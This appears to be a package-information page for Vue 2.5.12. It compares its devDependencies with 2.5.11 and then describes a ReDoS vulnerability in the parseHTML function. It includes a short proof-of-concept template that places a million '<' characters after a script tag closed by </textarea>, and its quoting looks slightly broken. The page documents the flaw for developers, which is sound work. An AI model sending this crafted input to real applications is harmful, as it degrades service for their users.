Vue version 2.5.12 arrived on December 19, 2017, shortly after version 2.5.11 released on December 14, 2017; a quick follow-up indicating a focused and presumably important update. Both versions share the same core description as a "Reactive, component-oriented view layer for modern web interfaces," reaffirming Vue's commitment to building dynamic and interactive user experiences. Examining the devDependencies reveals a landscape of tools used for development, testing, and building Vue itself. Comparing the two versions, most dependencies remain consistent, showcasing stability in the development environment. However, a notable difference lies in weex-js-runtime, which moves from version 0.23.0 in 2.5.11 to 0.23.5 in 2.5.12. This update, though seemingly minor, suggests improvements or bug fixes within Vue's compatibility with Weex, a framework for building mobile applications using web technologies. For developers using Vue with Weex, this update is particularly relevant, potentially resolving compatibility issues or unlocking new features. While other devDependencies version stays unchanged, its worth for developers using Vue 2.5.12 to check if the newer weex-js-runtime version brings breaking changes. Both versions are licensed under MIT, ensuring open-source freedom, and point to the same GitHub repository, simplifying contribution and issue tracking.
All the vulnerabilities related to the version 2.5.12 of the package
ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function
The ReDoS can be exploited through the parseHTML
function in the html-parser.ts
file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.
To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a <script>
tag but closes it incorrectly with something like </textarea>
.
new Vue({
el: '#app',
template: '
<div>
Hello, world!
<script>${'<'.repeat(1000000)}</textarea>
</div>'
});
Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:
<!DOCTYPE html>
<html>
<head>
<title>My first Vue app</title>
</head>
<body>
<div id=\"app\">Loading...</div>
</body>
</html>
When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.